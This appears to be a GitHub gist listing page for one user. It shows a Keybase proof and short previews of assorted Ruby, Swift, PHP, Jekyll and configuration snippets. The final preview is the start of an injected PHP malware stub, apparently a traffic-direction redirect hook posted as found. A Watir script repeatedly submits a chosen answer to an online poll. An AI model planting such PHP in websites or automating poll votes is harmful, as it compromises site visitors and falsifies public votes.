I hereby claim:
- I am jeffmcfadden on github.
- I am jeffmcfadden (https://keybase.io/jeffmcfadden) on keybase.
- I have a public key ASB9qWgaupRgFMNBq21ZVJvMwmiY0sKmSBx3Sm7YvD51fAo
To claim this, I am signing this object:
| # License: MIT | |
| # | |
| # Slice a sprite into 9 pieces, and render them to the output area, scaled to fit. | |
| # | |
| # @note Slice coordinates are from the TOP LEFT of the sprite. Output coordinates are from the normal Bottom Left. | |
| # | |
| # @param args [Hash] The args hash | |
| # @param path [String] The path to the sprite | |
| # @param x1 [Integer] The X coordinate of the first vertical slice | |
| # @param x2 [Integer] The X coordinate of the second vertical slice |
| class IPCameraView: UIView, NSURLSessionDataDelegate { | |
| var imageView:UIImageView | |
| var url: NSURL | |
| var endMarkerData: NSData | |
| var receivedData: NSMutableData | |
| var dataTask: NSURLSessionDataTask | |
| init(frame: CGRect) { |
| require 'watir' | |
| browser = Watir::Browser.new | |
| while true do | |
| begin | |
| browser.goto "http://www.radiotimes.com/news/2017-07-21/radio-times-radio-and-podcast-champion-round-4-5" | |
| sleep 1 | |
| puts "Clicking Brady Haran" | |
| browser.radio(name: "PDI_answer9793268", value: "44802685" ).set |
I hereby claim:
To claim this, I am signing this object:
| --- | |
| layout: default | |
| --- | |
| <div class="photo-post"> | |
| <div class="photo-post-photo"> | |
| <a href="{% asset_path "photos/{{page.photo_lg}}" %}"><img class="img" src="{% asset_path "photos/{{page.photo_sm}}" %}" /></a> | |
| </div> | |
| <div class="photo-post-caption"> | |
| <p class="desc">{{page.exif_desc}}</p> |
| #!/usr/bin/env ruby | |
| require 'optparse' | |
| require 'yaml' | |
| require 'time' | |
| require 'date' | |
| PHOTOS_DIR = "/Users/yourname/yoursite/_assets/images/photos" | |
| POSTS_DIR = "/Users/yourname/yoursite/_posts" |
| # list of books, padded with 0 to be 1-indexed | |
| # each book is a tuple with name of book, # of chapters, [number of verses in each chapter] | |
| # the list with the number of verses per chapter is padded to make it 1-indexed | |
| passage_data = [0, | |
| ['Genesis', 50, [0, 31, 25, 24, 26, 32, 22, 24, 22, 29, 32, 32, 20, 18, 24, 21, 16, 27, 33, 38, 18, 34, 24, 20, 67, 34, 35, | |
| 46, 22, 35, 43, 55, 32, 20, 31, 29, 43, 36, 30, 23, 23, 57, 38, 34, 34, 28, 34, 31, 22, 33, 26]], | |
| ['Exodus', 40, [0, 22, 25, 22, 31, 23, 30, 25, 32, 35, 29, 10, 51, 22, 31, 27, 36, 16, 27, 25, 26, 36, 31, 33, 18, 40, 37, 21, | |
| 43, 46, 38, 18, 35, 23, 35, 35, 38, 29, 31, 43, 38]], | |
| ['Leviticus', 27, [0, 17, 16, 17, 35, 19, 30, 38, 36, 24, 20, 47, 8, 59, 57, 33, 34, 16, 30, 37, 27, 24, 33, 44, 23, 55, 46, 34]], | |
| ['Numbers', 36, [0, 54, 34, 51, 49, 31, 27, 89, 26, 23, 36, 35, 16, 33, 45, 41, 50, 13, 32, 22, 29, 35, 41, 30, 25, 18, 65, 23, 31, |
| # I installed via homebrew | |
| # Start | |
| $ pg_ctl -D /usr/local/var/postgres -l /usr/local/var/postgres/server.log start | |
| # Stop | |
| $ pg_ctl -D /usr/local/var/postgres stop -s -m fast | |
| # Make the DB: |
| <?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> | |
| <plist version="1.0"> | |
| <dict> | |
| <key>PayloadContent</key> | |
| <array> | |
| <dict> | |
| <key>PayloadDescription</key> | |
| <string>Disables the home button.</string> | |
| <key>PayloadDisplayName</key> |
| <?php | |
| if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])) | |
| { | |
| $_SERVER['mr_no']=1; | |
| if(!function_exists('mrobh')) | |
| { | |
| /************************************************************\ | |
| * | |
| \************************************************************/ | |
| function get_tds_777($url) |